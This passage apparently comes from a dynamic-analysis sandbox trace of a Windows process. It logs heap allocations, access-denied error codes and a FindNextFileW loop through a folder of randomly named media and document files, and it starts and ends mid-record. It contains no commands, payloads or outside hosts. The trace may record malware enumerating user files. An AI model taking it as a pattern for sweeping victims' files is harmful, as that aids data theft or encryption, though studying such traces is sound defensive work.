Size=0x20) returned 0x5cccd8 [0144.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60eb28 [0144.972] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60eb28 | out: hHeap=0x570000) returned 1 [0144.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40558 [0144.972] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40558 | out: hHeap=0x570000) returned 1 [0144.972] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0144.972] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ef58 | out: hHeap=0x570000) returned 1 [0144.972] FindNextFileW (in: hFindFile=0x60eae8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffd69a0, ftCreationTime.dwHighDateTime=0x1d4c8c7, ftLastAccessTime.dwLowDateTime=0x5b0c8d40, ftLastAccessTime.dwHighDateTime=0x1d4d074, ftLastWriteTime.dwLowDateTime=0x5b0c8d40, ftLastWriteTime.dwHighDateTime=0x1d4d074, nFileSizeHigh=0x0, nFileSizeLow=0x1688c, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="0tPMP3MycwcUXM.mkv", cAlternateFileName="0TPMP3~1.MKV")) returned 1 [0144.972] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0144.972] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0144.972] GetLastError () returned 0x5 [0144.972] SetLastError (dwErrCode=0x5) [0144.972] GetLastError () returned 0x5 [0144.972] SetLastError (dwErrCode=0x5) [0144.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0144.973] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0144.973] GetLastError () returned 0x5 [0144.973] SetLastError (dwErrCode=0x5) [0144.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed28 [0144.973] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed28 | out: hHeap=0x570000) returned 1 [0144.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0144.973] FindNextFileW (in: hFindFile=0x60eae8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2198f800, ftCreationTime.dwHighDateTime=0x1d4d4b1, ftLastAccessTime.dwLowDateTime=0xb8cd390, ftLastAccessTime.dwHighDateTime=0x1d4c98c, ftLastWriteTime.dwLowDateTime=0xb8cd390, ftLastWriteTime.dwHighDateTime=0x1d4c98c, nFileSizeHigh=0x0, nFileSizeLow=0x187c, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="1w5DGI2.m4a", cAlternateFileName="")) returned 1 [0144.973] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0144.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0144.973] GetLastError () returned 0x5 [0144.973] SetLastError (dwErrCode=0x5) [0144.973] GetLastError () returned 0x5 [0144.973] SetLastError (dwErrCode=0x5) [0144.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0144.973] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0144.973] GetLastError () returned 0x5 [0144.973] SetLastError (dwErrCode=0x5) [0144.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc850 [0144.973] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc850 | out: hHeap=0x570000) returned 1 [0144.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0144.973] FindNextFileW (in: hFindFile=0x60eae8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb9d1210, ftCreationTime.dwHighDateTime=0x1d4c719, ftLastAccessTime.dwLowDateTime=0x9aed3a80, ftLastAccessTime.dwHighDateTime=0x1d4d5a7, ftLastWriteTime.dwLowDateTime=0x9aed3a80, ftLastWriteTime.dwHighDateTime=0x1d4d5a7, nFileSizeHigh=0x0, nFileSizeLow=0x6cfe, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="2TXcsTXc3n5rinGID1V.mp4", cAlternateFileName="2TXCST~1.MP4")) returned 1 [0144.973] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0144.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c71c8 [0144.973] GetLastError () returned 0x5 [0144.973] SetLastError (dwErrCode=0x5) [0144.973] GetLastError () returned 0x5 [0144.973] SetLastError (dwErrCode=0x5) [0144.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0144.973] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c71c8 | out: hHeap=0x570000) returned 1 [0144.974] GetLastError () returned 0x5 [0144.974] SetLastError (dwErrCode=0x5) [0144.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ebd8 [0144.974] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ebd8 | out: hHeap=0x570000) returned 1 [0144.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6368 [0144.974] FindNextFileW (in: hFindFile=0x60eae8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb81aa640, ftCreationTime.dwHighDateTime=0x1d4d0d6, ftLastAccessTime.dwLowDateTime=0x6b779150, ftLastAccessTime.dwHighDateTime=0x1d4d44f, ftLastWriteTime.dwLowDateTime=0x6b779150, ftLastWriteTime.dwHighDateTime=0x1d4d44f, nFileSizeHigh=0x0, nFileSizeLow=0x16aa8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="3KLok6JTsYbuFF-.png", cAlternateFileName="3KLOK6~1.PNG")) returned 1 [0144.974] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0144.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c73c0 [0144.974] GetLastError () returned 0x5 [0144.974] SetLastError (dwErrCode=0x5) [0144.974] GetLastError () returned 0x5 [0144.974] SetLastError (dwErrCode=0x5) [0144.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7278 [0144.974] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c73c0 | out: hHeap=0x570000) returned 1 [0144.974] GetLastError () returned 0x5 [0144.974] SetLastError (dwErrCode=0x5) [0144.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ef58 [0144.974] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ef58 | out: hHeap=0x570000) returned 1 [0144.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0144.974] FindNextFileW (in: hFindFile=0x60eae8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22573ac0, ftCreationTime.dwHighDateTime=0x1d4cfd6, ftLastAccessTime.dwLowDateTime=0x87b9a210, ftLastAccessTime.dwHighDateTime=0x1d4c6bf, ftLastWriteTime.dwLowDateTime=0x87b9a210, ftLastWriteTime.dwHighDateTime=0x1d4c6bf, nFileSizeHigh=0x0, nFileSizeLow=0xac30, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="4m0NEGq.m4a", cAlternateFileName="")) returned 1 [0144.974] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0144.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0144.974] GetLastError () returned 0x5 [0144.974] SetLastError (dwErrCode=0x5) [0144.974] GetLastError () returned 0x5 [0144.974] SetLastError (dwErrCode=0x5) [0144.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0144.974] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0144.974] GetLastError () returned 0x5 [0144.974] SetLastError (dwErrCode=0x5) [0144.974] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0144.975] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0144.975] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0144.975] FindNextFileW (in: hFindFile=0x60eae8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9976f0, ftCreationTime.dwHighDateTime=0x1d4ccc2, ftLastAccessTime.dwLowDateTime=0x74a41870, ftLastAccessTime.dwHighDateTime=0x1d4d3f0, ftLastWriteTime.dwLowDateTime=0x74a41870, ftLastWriteTime.dwHighDateTime=0x1d4d3f0, nFileSizeHigh=0x0, nFileSizeLow=0x15380, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="8 -Hgks5NIM-rbJKH6K.pps", cAlternateFileName="8-HGKS~1.PPS")) returned 1 [0144.975] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0144.975] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0144.975] GetLastError () returned 0x5 [0144.975] SetLastError (dwErrCode=0x5) [0144.975] GetLastError () returned 0x5 [0144.975] SetLastError (dwErrCode=0x5) [0144.975] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0144.975] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0144.975] GetLastError () returned 0x5 [0144.975] SetLastError (dwErrCode=0x5) [0144.975] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ebd8 [0144.975] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ebd8 | out: hHeap=0x570000) returned 1 [0144.975] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b69e8 [0144.975] FindNextFileW (in: hFindFile=0x60eae8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9478b040, ftCreationTime.dwHighDateTime=0x1d4c6d8, ftLastAccessTime.dwLowDateTime=0xa025a480, ftLastAccessTime.dwHighDateTime=0x1d4c628, ftLastWriteTime.dwLowDateTime=0xa025a480, ftLastWriteTime.dwHighDateTime=0x1d4c628, nFileSizeHigh=0x0, nFileSizeLow=0x89b0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bVDiwUgw.swf", cAlternateFileName="")) returned 1 [0144.975] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0144.975] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0144.975] GetLastError () returned 0x5 [0144.975] SetLastError (dwErrCode=0x5) [0144.975] GetLastError () returned 0x5 [0144.975] SetLastError (dwErrCode=0x5) [0144.975] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0144.975] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0144.975] GetLastError () returned 0x5 [0144.975] SetLastError (dwErrCode=0x5) [0144.975] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc8a0 [0144.975] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc8a0 | out: hHeap=0x570000) returned 1 [0144.975] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beec8 [0144.976] FindNextFileW (in: hFindFile=0x60eae8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1b09b10, ftCreationTime.dwHighDateTime=0x1d4ca51, ftLastAccessTime.dwLowDateTime=0x6fa7d730, ftLastAccessTime.dwHighDateTime=0x1d4d2d3, ftLastWriteTime.dwLowDateTime=0x6fa7d730, ftLastWriteTime.dwHighDateTime=0x1d4d2d3, nFileSizeHigh=0x0, nFileSizeLow=0x13070, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bxvFJc_lfxNx.bmp", cAlternateFileName="BXVFJC~1.BMP")) returned 1 [0144.976] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0144.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0144.976] GetLastError () returned 0x5 [0144.976] SetLastError (dwErrCode=0x5) [0144.976] GetLastError () returned 0x5 [0144.976] SetLastError (dwErrCode=0x5) [0144.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0144.976] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0144.976] GetLastError () returned 0x5 [0144.976] SetLastError (dwErrCode=0x5) [0144.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea88 [0144.976] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea88 | out: hHeap=0x570000) returned 1 [0144.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0144.976] FindNextFileW (in: hFindFile=0x60eae8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ebe7d90, ftCreationTime.dwHighDateTime=0x1d4d0dc, ftLastAccessTime.dwLowDateTime=0x522a5d40, ftLastAccessTime.dwHighDateTime=0x1d4d44f, ftLastWriteTime.dwLowDateTime=0x522a5d40, ftLastWriteTime.dwHighDateTime=0x1d4d44f, nFileSizeHigh=0x0, nFileSizeLow=0x161e1, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="coRZ.ots", cAlternateFileName="")) returned 1 [0144.976] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0144.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0144.976] GetLastError () returned 0x5 [0144.976] SetLastError (dwErrCode=0x5) [0144.976] GetLastError () returned 0x5 [0144.976] SetLastError (dwErrCode=0x5) [0144.976] GetLastError () returned 0x5 [0144.976] SetLastError (dwErrCode=0x5) [0144.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc8a0 [0144.976] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc8a0 | out: hHeap=0x570000) returned 1 [0144.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0144.976] FindNextFileW (in: hFindFile=0x60eae8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63af6bf0, ftCreationTime.dwHighDateTime=0x1d4ceaa, ftLastAccessTime.dwLowDateTime=0xdce89d0, ftLastAccessTime.dwHighDateTime=0x1d4c6a5, ftLastWriteTime.dwLowDateTime=0xdce89d0, ftLastWriteTime.dwHighDateTime=0x1d4c6a5, nFileSizeHigh=0x0, nFileSizeLow=0xb3d1, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="D9SKfMGtJgqXnu.bmp", cAlternateFileName="D9SKFM~1.BMP")) returned 1 [0144.976] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0144.976] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0144.976] GetLastError () returned 0x5 [0144.976] SetLastError (dwErrCode=0x5) [0144.976] GetLastError () returned 0x5 [0144.977] SetLastError (dwErrCode=0x5) [0144.977] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7278 [0144.977] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0144.977] GetLastError () returned 0x5 [0144.977] SetLastError (dwErrCode=0x5) [0144.977] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ebd8 [0144.977] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ebd8 | out: hHeap=0x570000) returned 1 [0144.977] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6570 [0144.977] FindNextFileW (in: hFindFile=0x60eae8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440792d0, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce389e99, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.977] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0144.977] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0144.977] GetLastError () returned 0x5 [0144.977] SetLastError (dwErrCode=0x5) [0144.977] GetLastError () returned 0x5 [0144.977] SetLastError (dwErrCode=0x5) [0144.977] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0144.977] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0144.977] GetLastError () returned 0x5 [0144.977] SetLastError (dwErrCode=0x5) [0144.977] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc850 [0144.977] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc850 | out: hHeap=0x570000) returned 1 [0144.977] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bf028 [0144.977] FindNextFileW (in: hFindFile=0x60eae8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf0d0e40, ftCreationTime.dwHighDateTime=0x1d4c7e5, ftLastAccessTime.dwLowDateTime=0x7d132e70, ftLastAccessTime.dwHighDateTime=0x1d4ccab, ftLastWriteTime.dwLowDateTime=0x7d132e70, ftLastWriteTime.dwHighDateTime=0x1d4ccab, nFileSizeHigh=0x0, nFileSizeLow=0x14713, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="DjICj.m4a", cAlternateFileName="")) returned 1 [0144.977] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0144.977] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0144.977] GetLastError () returned 0x5 [0144.977] SetLastError (dwErrCode=0x5) [0144.977] GetLastError () returned 0x5 [0144.977] SetLastError (dwErrCode=0x5) [0144.977] GetLastError () returned 0x5 [0144.977] SetLastError (dwErrCode=0x5) [0144.978] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0144.978] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0144.978] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0144.978] FindNextFileW (in: hFindFile=0x60eae8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26ed5690, ftCreationTime.dwHighDateTime=0x1d4cf87, ftLastAccessTime.dwLowDateTime=0x72762380, ftLastAccessTime.dwHighDateTime=0x1d4c6cc, ftLastWriteTime.dwLowDateTime=0x72762380, ftLastWriteTime.dwHighDateTime=0x1d4c6cc, nFileSizeHigh=0x0, nFileSizeLow=0x137ef, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="E0oPk8DHQ2yOUt.avi", cAlternateFileName="E0OPK8~1.AVI")) returned 1 [0144.978] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0144.978] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0144.978] GetLastError () returned 0x5 [0144.978] SetLastError (dwErrCode=0x5) [0144.978] GetLastError () returned 0x5 [0144.978] SetLastError (dwErrCode=0x5) [0144.978] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0144.978] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0144.978] GetLastError () returned 0x5 [0144.978] SetLastError (dwErrCode=0x5) [0144.978] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ebd8 [0144.978] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ebd8 | out: hHeap=0x570000) returned 1 [0144.978] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6710 [0144.978] FindNextFileW (in: hFindFile=0x60eae8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68cc7a30, ftCreationTime.dwHighDateTime=0x1d4d04c, ftLastAccessTime.dwLowDateTime=0x9e681680, ftLastAccessTime.dwHighDateTime=0x1d4d11f, ftLastWriteTime.dwLowDateTime=0x9e681680, ftLastWriteTime.dwHighDateTime=0x1d4d11f, nFileSizeHigh=0x0, nFileSizeLow=0xe012, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="eRtQ2rKaHZAhQ4Oz.jpg", cAlternateFileName="ERTQ2R~1.JPG")) returned 1 [0144.978] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0144.978] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c71c8 [0144.978] GetLastError () returned 0x5 [0144.978] SetLastError (dwErrCode=0x5) [0144.978] GetLastError () returned 0x5 [0144.978] SetLastError (dwErrCode=0x5) [0144.978] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7168 [0144.978] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c71c8 | out: hHeap=0x570000) returned 1 [0144.978] GetLastError () returned 0x5 [0144.978] SetLastError (dwErrCode=0x5) [0144.978] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e8c8 [0144.978] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e8c8 | out: hHeap=0x570000) returned 1 [0144.978] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6438 [0144.979] FindNextFileW (in: hFindFile=0x60eae8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc33b9360, ftCreationTime.dwHighDateTime=0x1d4cc92, ftLastAccessTime.dwLowDateTime=0xdd658ef0, ftLastAccessTime.dwHighDateTime=0x1d4ce6b, ftLastWriteTime.dwLowDateTime=0xdd658ef0, ftLastWriteTime.dwHighDateTime=0x1d4ce6b, nFileSizeHigh=0x0, nFileSizeLow=0x4671, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="gO3FIyJ104fr4GnY98Ix.jpg", cAlternateFileName="GO3FIY~1.JPG")) returned 1 [0144.979] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0144.979] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c74e0 [0144.979] GetLastError () returned 0x5 [0144.979] SetLastError (dwErrCode=0x5) [0144.979] GetLastError () returned 0x5 [0144.979] SetLastError (dwErrCode=0x5) [0144.979] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b71f0 [0144.979] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c74e0 | out: hHeap=0x570000) returned 1 [0144.979] GetLastError () returned 0x5 [0144.979] SetLastError (dwErrCode=0x5) [0144.979] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0144.979] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0144.979] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0144.979] FindNextFileW (in: hFindFile=0x60eae8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c38e6b0, ftCreationTime.dwHighDateTime=0x1d4d1aa, ftLastAccessTime.dwLowDateTime=0x6548e200, ftLastAccessTime.dwHighDateTime=0x1d4cbc8, ftLastWriteTime.dwLowDateTime=0x6548e200, ftLastWriteTime.dwHighDateTime=0x1d4cbc8, nFileSizeHigh=0x0, nFileSizeLow=0x146cc, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="hNyoN.pdf", cAlternateFileName="")) returned 1 [0144.979] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0144.979] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0144.979] GetLastError () returned 0x5 [0144.979] SetLastError (dwErrCode=0x5) [0144.979] GetLastError () returned 0x5 [0144.979] SetLastError (dwErrCode=0x5) [0144.979] GetLastError () returned 0x5 [0144.979] SetLastError (dwErrCode=0x5) [0144.979] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc968 [0144.979] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc968 | out: hHeap=0x570000) returned 1 [0144.979] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0144.979] FindNextFileW (in: hFindFile=0x60eae8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb6e4f30, ftCreationTime.dwHighDateTime=0x1d4c9d8, ftLastAccessTime.dwLowDateTime=0xfac48cf0, ftLastAccessTime.dwHighDateTime=0x1d4c824, ftLastWriteTime.dwLowDateTime=0xfac48cf0, ftLastWriteTime.dwHighDateTime=0x1d4c824, nFileSizeHigh=0x0, nFileSizeLow=0x6b11, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="ij43ThFEkw0o3b.avi", cAlternateFileName="IJ43TH~1.AVI")) returned 1 [0144.979] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0144.979] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0144.979] GetLastError () returned 0x5 [0144.979] SetLastError (dwErrCode=0x5) [0144.980] GetLastError () returned 0x5 [0144.980] SetLastError (dwErrCode=0x5) [0144.980] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0144.980] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0144.980] GetLastError () returned 0x5 [0144.980] SetLastError (dwErrCode=0x5) [0144.980] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea50 [0144.980] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea50 | out: hHeap=0x570000) returned 1 [0144.980] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, 